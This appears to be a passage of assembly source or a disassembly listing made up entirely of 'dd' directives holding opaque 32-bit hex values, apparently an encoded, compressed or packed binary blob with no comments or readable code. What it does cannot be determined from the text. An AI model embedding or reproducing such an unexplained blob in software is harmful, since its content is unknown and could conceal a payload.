dd 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h, 0E8E2840h, 0DCCFD8E0h
dd 1CCB405Dh, 2C5FAA70h, 3C100905h, 94A87C78h, 0E15C8A00h
dd 74F96C12h, 84222F00h, 44AE568Ch, 0AAAC01A4h, 0A661B425h
dd 588240C4h, 0BF63064h, 0A4701A00h, 0B8E884D2h, 0B8C752Dh
dd 16FC9462h, 0B84970h, 0A803A47Dh, 6FB02CC1h, 7BB8F80Bh
dd 1C4107FEh, 0A02F3834h, 20704832h, 0F5C5A00h, 6CCB689Ah
dd 2FF0747Bh, 0AB63DC79h, 96F441BFh, 0C04630F8h, 8004353Eh
dd 0E164C611h, 0FA6CE968h, 0AEE70h, 0E285B778h, 0B9E4BC80h
dd 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh, 0F1C9FCE5h
dd 301FD9D2h, 38800B3Eh, 7C7214D1h, 4FDE00E4h, 0A0E68298h
dd 120036F4h, 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h, 96F69FC0h
dd 10609C00h, 18888597h, 206A3EB0h, 28068480h, 64E808FDh
dd 1344BC01h, 740EF06Ch, 80A8C680h, 88B00F2Fh, 588CC900h
dd 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh, 0B00E45Bh
dd 8650ECAEh, 3F0FF45Eh, 0E80FC76h, 8490438h, 4A48EE58h
dd 18F00073h, 0F4561CE2h, 147B01Fh, 162C9328h, 0D8A4B1AFh
dd 0E07F3C02h, 87B5440Bh, 75F858h, 4B854E4h, 602F5C3Fh
dd 15A00E03h, 85B6AB01h, 3FF013Bh, 40E86090h, 0EB0E1506h
dd 87821144h, 2EB590DBh, 4D02E00Ah, 44BB18DEh, 0DD039029h
dd 719D2B18h, 33BD8311h, 89AD30D8h, 832E2FE9h, 3E850F0Eh
dd 8D183B05h, 5027E030h, 0EC2095FFh, 60897D31h, 0F88B1BDCh
dd 0ED669D8Dh, 432D5311h, 797936E8h, 21FA4228h, 4E7D4457h
dd 6A49D48Bh, 6A075618h, 10066804h, 0DF46EAA0h, 4C6D38ABh
dd 75264268h, 2A453AA3h, 0E853C70Ch, 7F8B3774h, 0FBD51C8h
dd 1B41B5E1h, 0ACE2A4F3h, 0A3807623h, 57E35036h, 850E0E8Dh
dd 7EF2C51h, 10AC3C0h, 2100409Ch, 2002B063h, 7F3C9008h
dd 145200C4h, 4409108Ch, 0D8BD21CCh, 57E100E0h, 330E0520h
dd 8500222Ch, 4FF016Fh, 559D8Bh, 0B0CC02Ah, 0A7A74DBh
dd 870003ECh, 89195985h, 318DF0h, 831171B5h, 840FC03Eh
dd 47D36A1Dh, 468B4043h, 68E4C004h, 141EFC99h, 9A063850h
dd 0EC305586h, 8B560D1Fh, 9D0309C5h, 51A0BB05h, 2F29A03h
dd 6EBD8880h, 12D0070h, 85FE4C75h, 8B0F0940h, 0E050033Eh
dd 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h, 535651A3h, 83BA00D5h
dd 0B55506E9h, 33173FE0h, 56000BDBh, 1A781C03h, 0E83C17ACh
dd 0E9FA00BBh, 494304D8h, 0EDEB0100h, 0C3831E29h, 0C6CD0005h
dd 0FA4C76F3h, 5B070DE0h, 6258595Eh, 36104837h, 0F90CC1h
dd 8DA5F302h, 3C0377E1h, 535EA400h, 809C5088h, 9B853B82h
dd 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h, 64E402A9h, 0E10729FEh
dd 864B5595h, 2B0F1970h, 79D89DD0h, 0E8C1C200h, 0B88A4610h
dd 235D0067h, 4C3A6D03h, 0FC0074FFh, 834E548Bh, 0D17308h
dd 0ADCA7DACh, 0C107EF66h, 910CEB00h, 9D7401FBh, 5002070Bh
dd 0C7033D16h, 2F2CF020h, 0E3001481h, 79820FFFh, 0E604011Fh
dd 7E1D79D4h, 390EEEB2h, 8DBD462Dh, 0B8E20200h, 61DC9ED9h
dd 128B4B0Ah, 6000E203h, 40C0850Ch, 1539071h, 0EAC2EB83h
dd 20C7A2D8h, 26000CF0h, 53073275h, 29F016h, 4A4D6E04h
dd 413BB4C7h, 0C403A901h, 66470646h, 107AD8h, 1B57ED6Ah
dd 7ED618B7h, 0FA511A00h, 850D41B0h, 0A49900DBh, 62F759A2h
dd 802501ECh, 0F0F475h, 5653C543h, 6500028Ah, 19B5AC7Fh
dd 0E6E8B850h, 755B0367h, 2A25A66Fh, 0D28B57E0h, 83659839h
dd 31342BC7h, 99E9D842h, 4939012Ah, 37DC3606h, 188EDC53h
dd 5A247500h, 0C1124AD3h, 140200E2h, 3F7C0F63h, 835F3C7Bh
dd 30AE0h, 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h, 21515A16h
dd 8177A4h, 8307894Bh, 3704B14Ch, 0AF32E900h, 4A2D06E7h
dd 710E892h, 0D9141C0Ah, 0FEEBF0C1h, 8500BA24h, 0A4506544h
dd 735B483Dh, 100400C2h, 61022F11h, 0B81F0875h, 0C402201h
dd 32BF54Bh, 1C9300C3h, 0B715588Dh, 0AC005051h, 7656DCD3h
dd 3942DEBBh, 0A3804825h, 2708ED21h, 9400DB30h, 641A8B4Ah
dd 38D83D3Ch, 0C40283D0h, 306A5F10h, 0E1468961h, 0C9C2301Dh
dd 2C47F600h, 513C978Ah, 74985Bh, 43A57729h, 14959FEFh
dd 4CC2CE01h, 0F4391833h, 0AB10D4h, 0AC4A4051h, 779F196Eh
dd 53D51E00h, 56D28D89h, 0E49B00F2h, 68C598F0h, 0C73BC84Dh
dd 50D480DAh, 5C9CB6BEh, 31EEE4h, 13B5A1Fh, 3733888Ah
dd 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh, 1072C6DCh, 0AE0096FEh
dd 24CF0A7Dh, 0ADB14Fh, 4C2A4481h, 0CDD53940h, 0C8012301h
dd 79B62C09h, 0BFF1E4h, 17607C0Eh, 0AB51E0FEh, 8D0061EAh
dd 1690FBD6h, 2FD240h, 28A1B4D4h, 587CC109h, 0B8191100h
dd 98107174h, 0C72A0059h, 0BEBB8531h, 80009F8Bh, 233935E8h
dd 37BD87h, 92DF5D63h, 4E4F0372h, 6D009579h, 57B9D5E4h
dd 38DEA83h, 82B7CD0Fh, 7C00DBCh, 0B103FD41h, 87A3972Ah
dd 8ACFE029h, 48240078h, 0B7EA61E9h, 0D5EE7649h, 0F768441Dh
dd 0A1145080h, 0F2C4BC60h, 0C8E0027h, 0A0656631h, 0BF00174Bh
dd 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h, 0D548E5FAh
dd 56CB05FDh, 0C3BB4CF1h, 800A1DBh, 0A575C410h, 8CDBEh
dd 31E18193h, 42CED970h, 0DE19DD1Fh, 71959987h, 3F8F1CA0h
dd 4698003Dh, 0DB31A266h, 50030A8Eh, 5DA8D0F7h, 59C6D05Ch
dd 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h, 8100262Dh, 62CDBB78h
dd 0A2023h, 0B0FCEC59h, 5C33F086h, 0D79BE600h, 0ABE21B42h
dd 411C0060h, 5D740602h, 0F00ECC61h, 7F834AC6h, 2FA2EC0Eh
dd 31472075h, 0D55E0Fh, 0B39E8D01h, 0C78E62D4h, 5A1DCD00h
dd 0F5B2F9A4h, 0A22F6092h, 1C684ADEh, 512E1E0Eh, 451A4069h
dd 0F430F8Ch, 0B82A844Eh
dd 0FA7B6C20h, 0B400A860h, 768BC7DFh, 7DB91A0h, 179A270Ah
dd 487F006Bh, 0EA038997h, 633644D0h, 1504E083h, 18CECDFh
dd 35586176h, 0C46F24BFh, 0E63B5599h, 0EC2B0019h, 17685464h
dd 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h, 8280E69Bh
dd 88662Ah, 650824C9h, 0E978890Fh, 737938h, 50D74341h
dd 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh, 7B9D3700h
dd 0CEB45Ch, 62574738h, 33B5B6E9h, 61B30800h, 31033CF3h
dd 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h, 3CA1E837h
dd 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h, 0B4FD6F4h
dd 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h, 53458EC0h
dd 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h, 2A01D9BCh
dd 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh, 69C5ACA6h
dd 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh, 76A73E27h
dd 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h, 19D152BFh
dd 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h, 0D449596Ch
dd 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h, 3FDC3E27h
dd 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh, 0A8C26Dh
dd 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h, 0FC2DE6A8h
dd 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh, 4FA0BCEDh
dd 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh, 8846068Ah
dd 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h, 0C057334Ah
dd 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh, 0F87C2B57h
dd 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh, 5AB928E1h
dd 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh, 0C1480282h
dd 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h, 143F050Eh
dd 2140410Eh, 31811F0h, 777FF883h, 2C1A903h, 2CF6155Dh
dd 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h, 5D07FEE7h
dd 552609B9h, 82618687h, 797008C2h, 7A8817E1h, 39FE7C5Dh
dd 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h, 0D636F16h
dd 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h, 7AF16978h
dd 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h, 41F00EFFh
dd 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh, 6206E52h
dd 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h, 2079C642h
dd 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh, 874D3862h
dd 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh, 0B6B20CCh
dd 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h, 245E4375h
dd 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h, 0FEF741F1h
dd 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh, 0DF6F4C27h
dd 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h, 10060h
dd 327D0000h, 92EF0000h, 2AB627CBh, 0EF6B68E0h, 2E5F4943h
dd 93F176F9h, 0E99AD7F7h, 61BB9D5Dh, 4609979Fh, 0AA4D7417h
dd 0A8AE39F5h, 4FFB8D5Dh, 680B7280h, 0C1DF15A1h, 1C4E335Fh
dd 5081DB53h, 7C4C3174h, 11774A90h, 68856607h, 738CA3E0h
dd 0BA2989A2h, 11B7BDB1h, 9CAAC535h, 0FF0BEE9Eh, 22EBC2E8h
dd 0DB5CB23h, 0D555832Bh, 0FFBB67DDh, 0F628E32Fh, 0E7EF1F20h
dd 0CA907889h, 59ECB143h, 71F6EAD9h, 4D25D91Ah, 0CFD8C84Fh
dd 0A6ECF44Ch, 0CEF500F7h, 0CE9E5942h, 40E63AC9h, 0C0D9AED3h
dd 357C149h, 9F9E695Bh, 0BA5BCFB3h, 0FCCD8C8Eh, 8C307597h
dd 0B5A3FAEDh, 0E371F84Eh, 0BA81349Ch, 74BF128Fh, 6633F790h
dd 8CD63CD2h, 0F320E3FDh, 156AED55h, 0EC20CEC6h, 0E2FD4A25h
dd 6D1B190Ch, 55679C33h, 9269B566h, 15F38218h, 5455C783h
dd 37EB2DE0h, 1968D304h, 5BCFD93Eh, 61E47CC0h, 0FC85F1E8h
dd 262E0683h, 509F4DE9h, 7AAC83FEh, 3B63D714h, 19D81880h
dd 0DDBE9E30h, 3D56A017h, 4413513Ch, 798BD1h, 876B8B4Eh
dd 5C5F90F3h, 5664BCDCh, 0A608137Dh, 0BF47F124h, 0EF737B70h
dd 26A68EC6h, 9DBF190Dh, 9031F9C6h, 7D8AFB2h, 0B39E03CCh
dd 6A28E784h, 37D37AA3h, 0CCC53FEDh, 0E94548A9h, 678DD664h
dd 548D4102h, 69E3B297h, 81C0A304h, 0E8BA7D1Bh, 0FC7173A4h
dd 0E41F9FE2h, 0DB6F2EDCh, 5C648444h, 5EFF5708h, 5E461807h
dd 0AA0661C8h, 329AD5E1h, 69EC5074h, 4719801Dh, 0FA2320D7h
dd 0BD82AB38h, 505FF204h, 19AFA784h, 962F2EB9h, 5F33650Bh
dd 0CAF8FEAFh, 503B9BE8h, 0F7423762h, 6EFF8BD1h, 0C25A00D9h
dd 8E0C1F86h, 3A9C7FEAh, 0CC7AECD3h, 0A04A54C5h, 30EB1E95h
dd 632DDF14h, 0EBED02C6h, 19F61D81h, 0C5923527h, 0CAEB039Fh
dd 4AB61123h, 366FBDB9h, 0B9222EFEh, 0B33F0471h, 0A95F0157h
dd 2C41CC2Eh, 276BACEFh, 0E780A43Ah, 6172A632h, 0EEBF8B2Ch
dd 1CD8FEC2h, 11D846Fh, 90EF4E4h, 0B17665D4h, 8A1665E8h
dd 3E4F9975h, 0F6BAEB22h, 6623B609h, 995BB779h, 9C871CD8h
dd 5467AD42h, 0E2CC37D5h, 0EF51357Eh, 0CFD8D4D5h, 0B9F38E6Fh
dd 592945BBh, 0F122E187h, 963695Bh, 5886684Ah, 7070F42Ch
dd 0D563595Ch, 0DCF5E125h, 0E127A731h, 9E56121Bh, 0B2A5BE4Bh
dd 0D83183C6h, 0FB14E17Fh, 0CAC74D5Eh, 0CE30E390h, 21064A36h
dd 0DCFEB19Dh, 0E892553Bh, 0B4899E69h, 9CBF9B9Fh, 79D7E127h
dd 2BABBB7Ch, 0C8CCADF4h, 0C564FCEBh, 689F680Bh, 0CF260A1Dh
dd 9285EDA9h, 0E3CD4D7Ch, 0B2B3E44Dh, 73C1EB99h, 96F83C84h
dd 0C6C4049Dh, 6ECA6CCAh, 36C261FDh, 3D380753h, 0E0D6AC84h
dd 6ABC2A95h, 1A6CA9A8h, 84DDD6A2h, 526B03EBh, 91B00B1Ah
dd 0ADEFBF49h, 0BCFEEE72h, 0A84F31F3h, 4704C6B8h, 0F40A47FFh
dd 8742585Ah, 7BA34E1Ah, 89C95939h, 0FB970D5Ch, 8C91F728h
dd 0F8F6F6ABh, 0A4AB7576h, 0EFDD4249h, 0A7E38A0Ah, 0BB07142Ch
dd 0E423A5B4h, 0ECA4B91Bh, 0E3C09740h, 3093250Ah, 9AC0B96Ch
dd 0F14C4C78h, 24FDD7E1h, 0D7209C48h, 0BBCE0F70h, 0E2437CCDh
dd 3565A32h, 0AF782C45h, 49201638h, 0AE75FECFh, 0C7A94C31h
dd 4FF53632h, 70D55005h, 600B4AA0h, 885BFDF3h, 0E0B24F26h
dd 7CC9A6EDh, 39A95B46h, 0AA84F473h, 5F9A4E85h, 35EA5255h
dd 0CE319002h, 360C0135h, 915067D7h, 8AB4F1A0h, 828379EFh
dd 2CCA6E00h, 7E39B0B3h, 0C01DAECBh, 0B27D2BDAh, 0A3F41B96h
dd 322985BDh, 58A93702h, 2E299E23h, 506F18D6h, 51F823F2h
dd 42EB38C2h, 6FF3B566h, 95305E1Bh, 1F630DB8h, 0E27727EFh
dd 1B4CFAE8h, 0EE0A1219h, 4B06B601h, 0F4771663h, 6D2F1BB2h
dd 4FA866F7h, 0E9F9BD71h, 0F08E0DC1h, 2847699Ah, 989C8476h
dd 8F5DAB15h, 2A321A85h, 0A45413D2h, 3246DDBFh, 9486CA6Ah
dd 49D01401h, 273C532Ch, 1CE0CC39h, 3BA03395h, 0DF2575F8h
dd 0F199BD1h, 5E9CF8EFh, 7C587E51h, 0C263CEB3h, 3C37C77Bh
dd 2ABA7414h, 22F5E56Ch, 0E319075h, 0DAB007F4h, 802B5E4Bh
dd 0CD2504B1h, 597E284Fh, 2F1C9BE5h, 747B1EEEh, 27FDDDFAh
dd 0C28B199h, 2B2575AEh, 0EDE30B7Eh, 0ACCCCC87h, 1A00523Bh
dd 4D61B723h, 40A4220Eh, 276E8C83h, 3E3F8F4Eh, 0C6E2C945h
dd 72A66198h, 0A905A687h, 0FB573ACDh, 2C66F7B3h, 212530A0h
dd 59DF2A2h, 6ABBB243h, 81273086h, 0EA4EDB52h, 1CB402B3h
dd 0C12DD3D5h, 8AFF2E1Ah, 0ACA542A1h, 575D0DEDh, 487A6521h
dd 0EB29687Bh, 703A1586h, 0ECB685DAh, 0F2780EFAh, 644BE70Ch
dd 0F7B7768Dh, 0D16B83F1h
dd 0BB3AE0E2h, 8997BFD0h, 70644222h, 0E250E5CBh, 4BED62BFh
dd 58D0FE29h, 53C8F005h, 0D69C6191h, 57A71E78h, 0E18B0924h
dd 237E410Bh, 4681EC61h, 16432872h, 0F60F9BBDh, 5678FF0Ch
dd 0B37A9059h, 73EA42D6h, 7A75C75Eh, 2331D68Eh, 331602ACh
dd 0C8A6E6BCh, 0EC0227CAh, 2A2BD798h, 44C31564h, 731B325Eh
dd 39AF9FC0h, 0D0D1EF58h, 3677C784h, 0D7C95902h, 8D38E068h
dd 0AF0CBEC4h, 4A0177A8h, 5648FA24h, 862CE2CDh, 1F4DDB0Bh
dd 788AC97h, 6E206CC8h, 1D0E083Ch, 8774C84Eh, 0DC9E0D3Fh
dd 41308F79h, 0CB677BDAh, 1B4E6040h, 58D06AA3h, 83C48B3h
dd 8CEE620Dh, 0B7DBFEB5h, 3EC255E6h, 0DE338488h, 0ADF58A3h
dd 0CAA0EBC6h, 95F10172h, 3B283513h, 0BBB4A7FCh, 7D3B67C1h
dd 8DCDA873h, 249D713Ah, 0E2322C71h, 0A037FFA6h, 1E260B97h
dd 0B41979C9h, 0EBDE462h, 78A931F6h, 0D27D151Bh, 301DBD4Eh
dd 57B74DC4h, 6F122B91h, 7DA11F21h, 5D765BCFh, 0D52180E1h
dd 660CDBAAh, 7C00E4AAh, 0E09EC42h, 0B598180Eh, 9C96CB96h
dd 1325B6EAh, 0F4EF56C7h, 0D72178F8h, 0FF19053Ah, 0FF13F178h
dd 84D2FCF3h, 0A487B2B3h, 565C40D4h, 6135695Fh, 929162C0h
dd 0DEF294ABh, 852E2B46h, 5F4A9C3Eh, 15DB6EA0h, 127A0D2Fh
dd 20D59CCAh, 9DD6C27Eh, 0C3DD9346h, 14F303D5h, 7BE5033h
dd 93B9AEB9h, 43370734h, 5E27831Ch, 0C7FC6389h, 0D027BF54h
dd 26BA33B6h, 78E363ADh, 0AE4C5873h, 7121D854h, 0D70D8B66h
dd 48EF8C0Ah, 0DF8688E8h, 87AA71A8h, 53F76AAFh, 7C461699h
dd 5E0B756Ch, 0D633190h, 0A45A43C2h, 762FB19h, 0C7BA4623h
dd 52386E73h, 0CD597FF0h, 0D755170Bh, 1DA34552h, 0EB6420Ch
dd 785DCCF7h, 0D0041DD5h, 0E8726EA6h, 0A4E50B8Eh, 9A62860Dh
dd 96414273h, 1EA04918h, 52A3F41Bh, 3AEC9F15h, 8E844FACh
dd 0ECB2C010h, 9914804Ah, 3B812EF9h, 99F9537h, 0B979957Eh
dd 8939FB6Eh, 0D1A308CBh, 60EA75E1h, 656BFB5Ah, 4C3F90ADh
dd 7C9D9010h, 90A984EFh, 5933BA18h, 0E6BD3113h, 0B2A2A13Ah
dd 78A36B15h, 0B496A84h, 0C744CAFCh, 53F85447h, 0F0B424B1h
dd 0A685957Bh, 3ED42236h, 5D8B59ABh, 0BCF24B91h, 832644E8h
dd 18D9895Fh, 8F51829Eh, 8F78EA2Fh, 0F9653E84h, 0C37C1EFAh
dd 51EDFB3Fh, 4B73A0FDh, 8F88F5BBh, 494117E6h, 0B7773352h
dd 0F92716DCh, 0C34F51E4h, 1C02682Dh, 0BFDC68C2h, 74213EB8h
dd 0C540E5E8h, 0C0C872C5h, 0A4F74008h, 0ED2A08DEh, 4F0ED6D2h
dd 861464D5h, 0D9788155h, 812EDD65h, 41F00DC4h, 1337D511h
dd 5EE3E569h, 0C65E1E2Ch, 0D1FF1CF1h, 0B788CD64h, 197E491Ah
dd 29AD847Fh, 3A045C37h, 0CCAFEF68h, 5108E2B8h, 51607277h
dd 0F429C79Dh, 3EEF68Fh, 0F3932AA3h, 27B43B2Ch, 9981DC94h
dd 896EBACDh, 524DD3FCh, 0F8E5220Dh, 599C8066h, 0B748607Dh
dd 0AE04D8B8h, 23061AD6h, 0CB433E63h, 998B41C0h, 0D34AFD08h
dd 693E706h, 26C73884h, 9EDF8A72h, 5161E399h, 8B2776DAh
dd 0ECB2EA86h, 747AFF52h, 0ACD13B53h, 0A9BE6CF1h, 92A5ED5Bh
dd 0D3D92AD9h, 2E1A5C88h, 309286BCh, 5AB892E9h, 8F7D7000h
dd 8C44C8CCh, 0C3E459B6h, 0DCDC6165h, 8C0BB3A5h, 53367F97h
dd 7A000B1Fh, 0BC6F75Ch, 0C8C44C2Eh, 7316CC71h, 455008D8h
dd 0E204F663h, 14C6D933h, 0CF792CE2h, 389EE183h, 6DF99AA9h
dd 0CDB3219Ah, 0B26E85FEh, 5F9EE27Ch, 85076A1Ah, 2742D642h
dd 400F2E10h, 0C693FD73h, 0C76F0CBBh, 426E3E94h, 45E1705Fh
dd 5084EDD0h, 27D9EAB2h, 0C34BDFC4h, 98EA52E8h, 2655E68Ah
dd 12A2B309h, 32C634D1h, 0E16F28h, 2988CAACh, 0E5F018DBh
dd 4D14C7C5h, 0C3691948h, 3C278D8Eh, 68609149h, 0DF848169h
dd 0BEFED62h, 39132FBEh, 0C55AE465h, 1A5D0532h, 3E8A8960h
dd 9BEE43FCh, 28E71BBBh, 785FA99h, 36CEDB28h, 0E7B7CDBBh
dd 342861FBh, 7D2D375Dh, 0AC845CCFh, 90D9C024h, 2C467D39h
dd 66D2DF72h, 4721AC96h, 0AB2D16BAh, 0FBEF34C5h, 377FB489h
dd 0C30B82E5h, 0AADE09F9h, 0D971DDEh, 0DACF96FAh, 0B9BBBCC9h
dd 7CEF16B9h, 57B440D9h, 7F5AB737h, 0B59742Bh, 0E90023BEh
dd 0EDCC98Dh, 88636F6Ch, 89F66B0h, 0A8A38135h, 86C0150Ah
dd 0B25B260h, 0A3CADF5Ch, 0CEA4E236h, 9B31798h, 0DD76E5F0h
dd 0BB3E4649h, 6D65D975h, 0D9A281Dh, 39B0B0A5h, 0D680070Eh
dd 41598629h, 0F8CA120Fh, 547BE3F1h, 0AA6A04E3h, 0EAF65EA3h
dd 0CC9623B4h, 0FAC13F1Fh, 66294D89h, 6D8BC63Bh, 0BD8A3D2Ch
dd 0CD41B7D4h, 91A6D38Fh, 0EFA58815h, 4260D54Bh, 81321AA8h
dd 7954F6CCh, 0D86F740Ah, 9E872050h, 3146380Bh, 0AB6AB42Eh
dd 310896CFh, 0FF07F76Dh, 0BC550655h, 4203AAC9h, 27D8C257h
dd 48E45D01h, 840C2898h, 8085AFF7h, 650C0908h, 0CBC6C60Fh
dd 50251D47h, 3833872Dh, 8AE0471Ch, 3601D6ECh, 0E7CD5C07h
dd 8E7713B7h, 0BCB617E0h, 0A12B048Bh, 5CB0317h, 4582E942h
dd 33007FC3h, 37988967h, 3902B194h, 5E126689h, 42D5BAF7h
dd 12CC3478h, 0E9854AC8h, 4285E655h, 56F2B305h, 0F7F84263h
dd 40E187CBh, 5621D1F3h, 7A8DD330h, 16459202h, 0E59011E1h
dd 0BE509E3Ah, 618EDD0Fh, 450EF808h, 23457E1Bh, 86B4FCCDh
dd 0C59EF2DBh, 790F3335h, 0B3B6C264h, 46E80E95h, 0E9559363h
dd 214C4952h, 91EDF952h, 0BEDEB4Eh, 0DEDBA888h, 0BF9BDEFEh
dd 0AA2461EDh, 849E41Ah, 0C6A5A9C3h, 69886F1Dh, 0BD88C03Fh
dd 0CA79BF0h, 0EDB2AB66h, 49E8814Ah, 4D642C0Fh, 59DBB2C7h
dd 0A27A0696h, 10E4E686h, 0D755C68Ch, 0FBE3B1Dh, 0B55188D9h
dd 0F156C8A3h, 9E11968Ah, 2AE2CBB5h, 4495D7DAh, 644E9A66h
dd 6F03E2A1h, 1E6A2A1Ch, 77AFE087h, 20964D40h, 999697C9h
dd 13B9BD1Eh, 0C1020D32h, 0A7AAB3EFh, 83C39B36h, 0E4A841Fh
dd 0D0E1EC7Ah, 40A033D2h, 34DED00Dh, 0CEB5ED8Fh, 7111C5D1h
dd 0EF6594C4h, 1A34A594h, 461D84D2h, 0CF2367C9h, 0BF86018Ah
dd 212D0C92h, 4C9E0B68h, 0B40F06B5h, 0D660769Dh, 8D8BB298h
dd 9479BF9Ah, 29287712h, 0E6E242F0h, 0AC56B02h, 20810B63h
dd 356A7440h, 84B9B80Ah, 0E32EB4DDh, 692FC4FDh, 0DC4F3Dh
dd 0CAE7932Eh, 0EC1B66D1h, 0C3B77C4Eh, 56153D4h, 37B1FFE0h
dd 3EFC2088h, 7F0AABB1h, 0F64925F2h, 13188ADDh, 65F2A82Fh
dd 0E3BB6122h, 0FBE7CE73h, 86ECA47Fh, 5896AD9Bh, 0A130309Ah
dd 0AF28313Eh, 18FBAB1Fh, 307C5044h, 0EC3B2B03h, 502C8AC8h
dd 3315C6CCh, 72765CF3h, 0B5E187EAh, 0E33DFD1Eh, 2A5F4AE5h
dd 812CFDA1h, 0D93FA133h, 0A55BD31Dh, 5B7396B4h, 62EB1786h
dd 4F9283B8h, 5D37F5CEh, 6E655C33h, 0BE624E25h, 9AD86C94h
dd 7F1683B8h, 15E7B7EEh, 0C4E25845h, 31097A1h, 40314FA5h
dd 0C6C0847Fh, 0FF7DC131h, 0DFC1AFC2h, 2B3BB825h, 0E41B8D88h
dd 6980A8B6h, 81600B4h, 0BEBEAE49h, 9BA8B34h, 40BBFFFFh
dd 1C9AF102h, 5C2B6351h, 59F1DFF5h, 7D36D5A9h, 0BFA47090h
dd 20473FC4h, 540EFF6Bh, 0E629AA1Ch, 0FEA38B9Bh, 6C9AF6F7h
dd 0CF71DDB9h, 7CC9D3F9h, 498C1A2Eh, 0ACD64F9Bh, 0FC4CF25Dh
dd 2C72A7EDh, 594504B7h, 0E226F2D2h, 0E9FB0EB3h, 43FC321Bh
dd 5685D08Ch, 0BF231A82h, 0EAB49A09h, 7AACB03Eh, 21BACF75h
dd 86AF34E4h, 24C34B26h, 227EEBA7h, 8E6E819Eh, 4E5552D7h
dd 3015E027h, 0A4FEDB8Fh
dd 0BFF9B211h, 0A3CE0A1Fh, 0AF9AF051h, 0B8D2B525h, 96B47479h
dd 0E242B280h, 0E7841784h, 0CA7C340Ah, 6FF2CCCCh, 6AF1D374h
dd 0A92C7821h, 0A18AD4E2h, 0ED2F8DAEh, 0FA026FB1h, 0F17656F0h
dd 0B4ED38E4h, 0F0CD4B5Fh, 93FA78B6h, 0C568BB10h, 189C95C1h
dd 0A52B4162h, 80171625h, 1765276Dh, 0B9130201h, 5F761FBh
dd 0D62AFD98h, 433E8FE0h, 0FF160C6h, 0F8BC1822h, 0F51D4542h
dd 4E303AEBh, 70A2D3ADh, 39EB9AE3h, 0EE00937Eh, 31E648E1h
dd 3C7F9DC4h, 29D29311h, 131303B8h, 85558674h, 12E5144Fh
dd 25EC790h, 90304ECEh, 4454BCAFh, 0C6F42550h, 1C635ECCh
dd 0DA2DAA26h, 0E9E62E7Bh, 9AE77C31h, 51D9BF69h, 9DD88040h
dd 4BF813ABh, 0FCDBB3C3h, 0BE912F6Fh, 0FD77214Dh, 0A27AC53Ch
dd 296F4755h, 4435DD7Bh, 0FF677911h, 8620D98Fh, 3934CE01h
dd 7BC4E36Ah, 1BB57081h, 0E76C160h, 57532CA3h, 887D79BFh
dd 411404DCh, 0C5978E7Eh, 5030073Fh, 0DB3487A9h, 67170283h
dd 0C176941Ah, 7299F93Ah, 3EC6E1C7h, 0F4DB6CE4h, 5B4ED847h
dd 0AC754C6Dh, 980DD98Eh, 7C6E658h, 53739869h, 0C0A9AE1Dh
dd 0C5F53322h, 99617FFFh, 7DB60CF9h, 0DEEAEC7Eh, 0B430665h
dd 0F77E0990h, 7CCEB6F7h, 50A9A4BFh, 0CD58E723h, 0C38A7F6Dh
dd 0F6B127B7h, 8F8B4F2Dh, 1737BE53h, 5E402CCAh, 8EBED42Ch
dd 0EC0461C6h, 1D4C72F6h, 0EBBBA6E5h, 1D9DADF2h, 250C29D1h
dd 22E28434h, 2BFC26ACh, 6603428Eh, 2C8B35FAh, 791A5458h
dd 0F075C956h, 6C3B10BFh, 0CAA18336h, 0DB368704h, 220FB214h
dd 52BD4A3Bh, 8A647559h, 0F32025C0h, 9C1F3A46h, 13745E4Dh
dd 2F01E8D0h, 9B903E98h, 55BF4070h, 0FC119AB0h, 6EADC4BBh
dd 0D90937CBh, 0CF1BD788h, 0D4CD9BC8h, 0A9DF6865h, 88E8A302h
dd 58C1EF52h, 446855D9h, 0EC19E50Ah, 0D0DAE2EDh, 0D19F060Ah
dd 0E913FA75h, 0FD85C490h, 5F1C7AA4h, 0AC627E5h, 0CF7DCA02h
dd 9C562601h, 2D32EABFh, 0E768C7CBh, 8D5EDEA2h, 4233CE8Ah
dd 0DBBAD5F9h, 8A8CB911h, 5DB9C87h, 7C0A1AF1h, 3BFA717Eh
